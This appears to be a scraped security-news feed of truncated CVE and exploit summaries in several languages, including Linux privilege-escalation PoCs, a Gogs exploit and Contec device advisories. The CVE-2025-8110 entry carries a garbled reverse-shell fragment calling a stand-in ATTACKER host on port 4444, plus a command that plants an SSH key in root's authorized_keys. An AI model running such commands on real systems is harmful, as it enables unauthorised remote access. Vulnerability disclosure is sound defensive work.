cve-2021-4034-mock

CVE-2021-4034 PwnKit 模拟漏洞系统 该项目是一个模拟系统，用于重现 Linux pkexec 守护进程中发现的 CVE-2021-4034（越界读/写） 漏洞的核心运行原理。在没有实际 SUID 权限提升的情况下，在受控环境中安全地模拟了环境变量内存区域越界及恶意载荷注入机制。 特别是，该模拟系统能够检测最新 Linux 内核的 execve 防御机制（传递空数组时强制插入空字符串从而形成 argc=1 的现象），并通过修正偏移量，成功模拟了过去存在漏洞的内存环境。 📂 文件结构 root@kitploit: cve-2021-4034-mock/ ├──...

CVE-2025-8110

CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' 使用后清理漏洞利用仓库 python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \ --target-file /root/.ssh/authorizedkeys --content-file /.ssh/idrsa.pub --cleanup 工作原理 1. 认证 — 登录（或自助注册）并创建一个 API 令牌。 2. 创建仓库 — 通过 Web 界面初始化一个包含 READ...

CVE-2026-43284-DirtyFrag-PoC

CVE-2026-43284 — 4字节XFRM/ESP 概念验证 通过XFRM/ESP页缓存损坏实现本地权限提升 4字节写入原语 · 48次迭代 · 192字节ELF覆写 · 非特权用户 + netns 概念验证 左图： 内核预检、setuid 扫描及利用链 · 右图： 生成的 root shell —— id / whoami 确认 uid=0root 测试于 WSL2 · Ubuntu 24.04.1 LTS · 内核 6.6.87.2-microsoft-standard-WSL2 root@kitploit:...

CVE-2026-82782

Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service DoS condition...

CVE-2026-82768

Path traversal vulnerability exists in SGA1000. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP...

CVE-2026-21045_and_CVE-2026-21048

CVE-2026-21045 y CVE-2026-21048 — PoC de escritura OOB en libimagecodec.quram.so de Samsung Resumen Este repositorio contiene archivos conceptuales de Prueba de Concepto PoC que demuestran vulnerabilidades de escritura fuera de límites OOB en la biblioteca de códec de imagen Quramsoft...

EUVD-2026-77248

Path traversal vulnerability exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP...

CVE-2026-82765

CVE-2026-82765 is a path traversal vulnerability in Contec FX5000, FX4000, and FX3000 series devices. An attacker with FTP access to the affected product can view and/or alter arbitrary files on the server, resulting in high confidentiality and integrity impact with no availability impact. The CN...

CVE-2026-82782

Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service DoS condition...

CVE-2026-82782

An out-of-bounds write vulnerability in CONPROSYS nano Series (Contec) allows a remote attacker with low privileges to send a specially crafted request that triggers a denial-of-service condition. The CVSS 3.1 score is 4.3 (MEDIUM) and CVSS 4.0 is 5.3 (MEDIUM) , reflecting a network-based attack ...

EUVD-2026-77235

Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service DoS condition...

CVE-2026-82768

A path traversal vulnerability in SGA1000 (manufactured by Contec ) allows an attacker with FTP access to view and/or alter arbitrary files on the server, potentially leading to high confidentiality and integrity compromise with no availability impact . The vulnerability is scored CVSS 3.1: 8.1 (...

CVE-2025-63602

CVE-2025-63602 Divulgación de CVE-2025-63602, incluyendo un PoC para el uso de un controlador inseguro en Awesome Miner 11.2.4 que conduce a lectura/escritura arbitraria del kernel a MSRs, resultando en ejecución de código del kernel...

CVE-2026-36227

CVE-2026-36227: Easy Chat Server 3.1 UserName Path Traversal PoC Este repositorio contiene una prueba de concepto benigna para CVE-2026-36227, un problema de path traversal en el manejo del registro de usuarios de Easy Chat Server 3.1. Este repositorio es únicamente para investigación de segurida...

CVE-2026-43284

Dirty Frag：通用 Linux 本地提权漏洞 摘要 本文档介绍了由 Hyunwoo Kim @v4bel 发现并报告的 Dirty Frag 漏洞类。通过串联 xfrm-ESP Page-Cache Write CVE-2026-43284 与 RxRPC Page-Cache Write CVE-2026-43500，攻击者可以在主流 Linux 发行版上提升至 root 权限。 Dirty Frag 属于与 Dirty Pipe 和 Copy Fail 相同的 bug 家族。它属于确定性的逻辑漏洞，不依赖时间窗口或竞争条件，失败时不会导致内核恐慌，且利用成功率极高。...

CVE-2026-6815

CVE-2026-6815 PoC/Exploit: Casdoor 3.54.1 Path Traversal y Escritura Arbitraria de Archivos Autenticado Este repositorio contiene una prueba de concepto PoC para el exploit CVE-2026-6815, una vulnerabilidad de escritura arbitraria de archivos y path traversal en Casdoor. La vulnerabilidad ha sido...

CVE-2023-22632

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the FTP Server Count Sensor...

CVE-2023-22631

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor...

Important: Red Hat Security Advisory: gstreamer1-plugins-bad-free security update

An update for gstreamer1-plugins-bad-free is now available for Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions and Red Hat Enterprise Linux 8.8 Telecommunications Update Service. Red Hat Product Security has rated this update as having a security impact of Important. A Common...

gstreamer: gstreamer1-plugins-bad-free: gstreamer: heap out-of-bounds write in adpcmdec IMA/DVI ADPCM decoder

A heap out-of-bounds write vulnerability was found in the GStreamer gst-plugins-bad adpcmdec element when decoding IMA/DVI ADPCM audio. Insufficient validation of the per-block sample count for multi-channel streams allows a crafted WAV file to cause writes beyond the allocated output buffer. Thi...